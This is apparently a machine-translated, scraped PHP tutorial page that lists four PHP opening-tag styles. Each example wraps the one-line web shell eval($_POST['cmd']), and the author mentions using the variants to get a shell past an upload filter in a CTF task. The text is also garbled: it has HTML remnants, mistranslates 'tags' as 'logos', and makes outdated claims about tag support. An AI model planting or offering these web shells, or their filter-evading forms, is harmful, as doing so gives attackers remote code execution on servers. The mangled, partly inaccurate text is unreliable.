), and short style ( ), ASP style (<% %>)."/> ), and short style ( ), ASP style (<% %>).">

Home  >  Article  >  Backend Development  >  What are the logos of PHP?

What are the logos of PHP?

(*-*)浩
(*-*)浩Original
2019-11-21 17:40:103575browse

What are the logos of PHP?

PHP logo has 4 styles

XML style ##PHP video tutorial)

<?php
eval($_POST[&#39;cmd&#39;]); 
?>

php recommended markup style.

Server administrators cannot disable it, and this style can be used on all servers.

Script style

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

It is enabled by default and cannot be disabled


The author once encountered a CTF question that required uploading a shell, but it failed The file content is filtered,
<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

Short style

<? 
eval($_POST[&#39;cmd&#39;]);
?>

This style needs to be configured in Enable the short_open_tage option in the file php.ini

This style is not supported by default in many environments

ASP style

<% 
eval($_POST[&#39;cmd&#39;]);
%>

This style The asp_tag option needs to be enabled in the configuration file php.ini

It is disabled by default

The above is the detailed content of What are the logos of PHP?. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn